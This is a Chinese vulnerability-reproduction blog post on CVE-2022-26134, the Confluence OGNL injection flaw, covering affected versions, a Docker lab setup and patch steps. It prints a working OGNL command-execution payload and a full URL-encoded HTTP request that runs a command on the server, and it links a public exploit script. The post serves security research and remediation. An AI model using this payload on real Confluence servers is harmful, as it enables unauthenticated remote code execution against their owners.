『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

admin 2022年7月13日06:12:35评论131 views字数 4027阅读13分25秒阅读模式

点击蓝字,关注我们

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞


日期:2022-07-11
作者:hdsec
介绍:在受影响的Confluence ServerData Center版本中,存在一个OGNL注入漏洞,该漏洞允许未经身份验证的攻击者在Confluence ServerData Center实例上执行任意代码。

0x00 前言

Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。

0x01 漏洞影响范围

Confluence Server and Data Center >= 1.3.0Confluence Server and Data Center < 7.4.17Confluence Server and Data Center < 7.13.7Confluence Server and Data Center < 7.14.3Confluence Server and Data Center < 7.15.2Confluence Server and Data Center < 7.16.4Confluence Server and Data Center < 7.17.4Confluence Server and Data Center < 7.18.1

0x02 漏洞环境搭建

漏洞利用环境:

https://github.com/vulhub/vulhub/tree/master/confluence

执行如下命令启动一个Confluence Server 7.13.6漏洞环境:

docker-compose up -d

环境启动后,访问http://VPS:8090,进入安装向导,点击Get an evaluation license,去Atlassian官方申请一个Confluence Server的测试证书。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

申请完后会自动页面填入license,然后点击Next,进入下一步。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

填写数据库账号密码,选择postgres数据库,设置类型选择By connection string,地址为db,账号密码均为postgres

这里需要注意的一点建议搭建在4G内存以上的机器进行漏洞复现,否则容易卡死。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

点击Example Site,创建一个示例网站。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

点击Manage users and groups within Confluence,在Confluence中管理用户和组。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

输入需要配置的用户信息,点击Next

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

设置成功,环境搭建完成。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

0x03 漏洞复现

OGNL表达式注入命令执行payload

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

构造如下请求数据包:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: 123.60.91.170:8090Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh,zh-CN;q=0.9Cookie:Connection: close

可以发现在返回的响应包里,返回了我们命令执行后的结果。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

除了利用上面构造数据包的方式,还可以利用脚本:

CVE-2022-26134
https://github.com/crowsec-edtech/CVE-2022-26134/

对漏洞进行验证,如下图👇👇

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

0x04 修复建议

4.1 官方修复建议

当前官方已发布最新版本,建议受影响的用户及时更新升级到【最新版本】:

https://www.atlassian.com/software/confluence/download-archives

4.2 临时修复建议

如果在集群内运行Confluence 则需要在每个节点上重复以下过程:

1.关闭 Confluence2.下载https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar 移出 Confluence  安装目录注:不要在目录中留下旧的  JAR  文件4.将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中5.检查新的 xwork-1.0.3-atlassian-10.jar 文件权限是否和所在目录的其他文件权限一致。6.启动 Confluence

Confluence 7.0.0 - Confluence 7.14.2的用户:

如果在集群内运行 Confluence 则需要在每个节点上重复以下过程:

1.关闭 Confluence2.下载https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jarhttps://packages.atlassian.com/maven-internal/opensymphony/webwork/2.1.5-atlassian-4/webwork-2.1.5-atlassian-4.jarhttps://confluence.atlassian.com/doc/files/1130377146/1137639562/3/1654274890463/CachedConfigurationProvider.class3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3.6.jar/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar移出 Confluence 安装目录注:不要在目录中留下旧的  JAR  文件4. 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中5.将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中6.检查两个新文件权限是否和所在目录的其他文件权限一致。7.切换到目 录/confluence/WEB-INF/classes/com/atlassian/confluence/setupa.创建一个名为的新目录 webworkb.将 CachedConfigurationProvider.class 复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webworkc.确保 CachedConfigurationProvider.class 文件和/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork 目录权限正确8.启动 Confluence

0x05 总结

简单复现个漏洞,以后遇到不至于手足无措。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

宸极实验室

Cyber Security Lab

『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。


原文始发于微信公众号(宸极实验室):『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日06:12:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞https://cn-sec.com/archives/1171350.html

发表评论

匿名网友 填写信息